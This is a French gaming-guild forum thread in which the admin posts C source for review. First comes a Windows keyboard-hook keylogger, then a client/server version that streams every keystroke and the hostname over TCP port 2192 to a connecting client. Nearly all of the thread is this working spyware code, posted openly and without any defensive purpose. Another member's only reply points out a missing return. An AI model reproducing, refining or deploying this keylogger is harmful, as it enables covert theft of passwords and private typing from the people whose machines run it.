Masters Of Hardcore X

Forum de la guilde Masters Of Hardcore X (Mercenaires non oficiel) dofus sur Brumaire
 
AccueilCalendrierFAQRechercherMembresGroupesS'enregistrerConnexion

Partagez | 
 

 Programmeurs uniquement ;)

Voir le sujet précédent Voir le sujet suivant Aller en bas 
AuteurMessage
Tanoki
Admin
avatar

Messages : 26
Date d'inscription : 28/05/2011
Age : 20
Localisation : Romont, Suisse

MessageSujet: Programmeurs uniquement ;)   Mar 28 Juin - 15:31

Bonjour , je me suis lancez dans un code en C# , j'aimerai savoir si le code est clean svp merci Wink

Voici le main.c

Code:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// Global instance du hook
HHOOK hKeyHook;

// Gestion du hook
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
 
    // Action du clavier et les touches tappées
    if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
     
        // conversion du code -> ascii
        BYTE KeyState[256];
        WORD wBuf;
        char ch;
       
        // Structure pour récupération des informations
        KBDLLHOOKSTRUCT hooked =  *((KBDLLHOOKSTRUCT*)lParam);

        /* Traitement récupération dec codes des touches */
       
        // Etat du clavier
        GetKeyboardState(KeyState);

        // Conversion code > ascii
        ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);
       
        //on rajoute les touches non traitées par le hook
        switch(hooked.vkCode){
       
              case 9 :{printf("<TAB>");break;}
              case 13 :{printf("<ENTER>");break;}
              case VK_BACK :{printf("<delete>");break;}
              case VK_DELETE: {printf("<Suppr>");break;}
     
              /* vous pouvez rajouter vos traitements perso ici ! */
               
                default : { // on affiche les touches tappées
                      ch=((char)wBuf);
                      printf("%c",ch);
                      break;
                }
           
        }
       

    }
    // Renvoi des messages au sytème
    return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}

 
// Boucle des messages
void MsgLoop()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}


DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
    // Récuperation de l'instance de notre executable
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) return 1;

    // on demarre le hook
    hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
    if(hKeyHook==NULL)
        printf("[le hook clavier a plante !]\n");
    else
        printf("[hook clavier en cours ...]\n");
       
    // Boucle des messages
    MsgLoop();
   
    // on desactive le hook
    if(UnhookWindowsHookEx(hKeyHook)==0)
          printf("[desactivation du Hook echoue !]");
    else
          printf("[la desactivation du hook c'est passee correctement]");
         
    return 0;
}
 

int main(int argc, char *argv[])
{
    // initialisation des options pour la fonction CreateThread
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;
    printf("\n[Exemple de Hook Clavier] by tOnyh2\n");
       
    // on crée le thread qui va démarrer le hook
    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);

    if (hThread) {
        // Attente à l'infini
        return WaitForSingleObject(hThread,INFINITE);
    } else {
        return 0;
    }
}
Revenir en haut Aller en bas
Voir le profil de l'utilisateur http://mastersofhardcorex.forumgratuit.ch
Touf



Messages : 39
Date d'inscription : 29/05/2011
Age : 20

MessageSujet: Re: Programmeurs uniquement ;)   Mar 28 Juin - 22:03

T'as oublier return 0
Revenir en haut Aller en bas
Voir le profil de l'utilisateur http://mastersofhardcorex.forumgratuit.ch/u2
Tanoki
Admin
avatar

Messages : 26
Date d'inscription : 28/05/2011
Age : 20
Localisation : Romont, Suisse

MessageSujet: Re: Programmeurs uniquement ;)   Mer 29 Juin - 14:38

non vu que ce programme la ne doit jamais prendre la valeur 0 sinon il perds toute son utilité


Dernière édition par Tanoki le Mer 29 Juin - 14:46, édité 1 fois
Revenir en haut Aller en bas
Voir le profil de l'utilisateur http://mastersofhardcorex.forumgratuit.ch
Tanoki
Admin
avatar

Messages : 26
Date d'inscription : 28/05/2011
Age : 20
Localisation : Romont, Suisse

MessageSujet: Re: Programmeurs uniquement ;)   Mer 29 Juin - 14:43

Voila nouvelle version client/serveur j'attends vos avis Very Happy Merci


Code:
//Source du Serveur :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <cstdio>
#include <cstdlib>

#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")


 HHOOK hKeyHook;

SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;

using namespace std;

void displayCharArray(char stringArray[], int size0floatArray);
 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {

 // Action du clavier et les touches tappées
 if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
 BYTE KeyState[256];
 WORD wBuffer;
 // Récupération des informations
 KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);

 GetKeyboardState(KeyState);
 // Conversion code > ascii
 
  ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuffer,0);

switch(hooked.vkCode)
{
 case 9 :{send(csock,"<TAB>",6,0);break;}
 case 13 :{send(csock,"<ENTER>",8,0);break;}
 case VK_BACK :{send(csock,"<delete>",9,0);break;}
 case VK_DELETE: {send(csock,"<Suppr>",8,0);break;}
 case VK_CAPITAL :{send(csock,"<CAP>",6,0);break;}
 case 160 :{send(csock,"<MAJ>",6,0);break;}
 

 default : {                                         
send(csock,((const char*)&wBuffer),sizeof(&wBuffer),0);
break;
}}


 }
 // Fin du hook Renvoi des messages
 return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
 }


 // Boucle message
 void Boucle()
 {
 MSG message;
 while (GetMessage(&message,NULL,0,0)) {
 }
 }


 DWORD WINAPI KeyLogger(LPVOID lpParameter)
 {     

 HINSTANCE hExe = GetModuleHandle(NULL);

 if (!hExe) return 1;

 // Demarrage du hook
 hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);

 // Boucle message
 Boucle();

 return 0;
 }

//**************************************************************************
int main()
{ //*********************************************************************


WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
   


sock = socket(AF_INET, SOCK_STREAM, 0);

sin.sin_addr.s_addr         = INADDR_ANY;
sin.sin_family            = AF_INET;
sin.sin_port            = htons(2192);
//**********************
HANDLE hThread;
 DWORD dwThread;
 DWORD exThread;
//**********************

if (bind(sock, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR){
    cout << "Problème de connection";
    system("PAUSE");
    return 1;}         
if (listen(sock, 0) == SOCKET_ERROR){
                cout << "Port déjà utilisé";
                system("PAUSE");
                return 1;}
char FAR buffer[64] ;

      while(true)
      {
               
         int sinsize = sizeof(csin);
         if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
         {
                      gethostname(buffer, sizeof(buffer));
                      send(csock,buffer,sizeof(buffer),0);
                      send(csock," // Keylogguer Actif : ",22,0);                                         
                      cout << "On" << endl;               
         hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
 
 if (hThread) {
 
 return WaitForSingleObject(hThread,INFINITE);
} else {
     
 return 0;

         }
         
        }

closesocket(sock);
WSACleanup();
      }
}

//CLIENT
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

using namespace std;

int main(int nNumberofArgs, char* pszArgs[])
{
char buffer[1024];

WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
   
SOCKET sock;
sock = socket(AF_INET,SOCK_STREAM,0);
   
SOCKADDR_IN sin;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_family      = AF_INET;
sin.sin_port        = htons(2192);

connect(sock,(SOCKADDR *)&sin,sizeof(sin));
int x = connect(sock,(SOCKADDR *)&sin,sizeof(sin));
// Boucle infinie réception message
for(;;)
{
    int i = recv(sock,buffer,sizeof(buffer),0);
    if (i != false && i != SOCKET_ERROR)
    {
    cout << buffer;
    }
    if ( i == SOCKET_ERROR){cout << endl << endl << "Connexion interrompu" << endl << endl;system("PAUSE");return 1;}
    if(x == false){
        system("PAUSE");
        return 1; // Si connection inexistante break
}}



closesocket(sock);
WSACleanup();

getchar();
}
Revenir en haut Aller en bas
Voir le profil de l'utilisateur http://mastersofhardcorex.forumgratuit.ch
Contenu sponsorisé




MessageSujet: Re: Programmeurs uniquement ;)   

Revenir en haut Aller en bas
 
Programmeurs uniquement ;)
Voir le sujet précédent Voir le sujet suivant Revenir en haut 
Page 1 sur 1
 Sujets similaires
-
» la cours du voïvode et son armé (1500point)
» Dark link et Yuna (uniquement)
» Et c'est là qu'on dépose son oeuvre ! (uniquement)
» Tribunal - Préparatifs studieux [Récit - A lire uniquement]
» Forums RPG uniquement XD

Permission de ce forum:Vous ne pouvez pas répondre aux sujets dans ce forum
Masters Of Hardcore X :: Un problème? :: Un problème ? parlez en ici-
Sauter vers: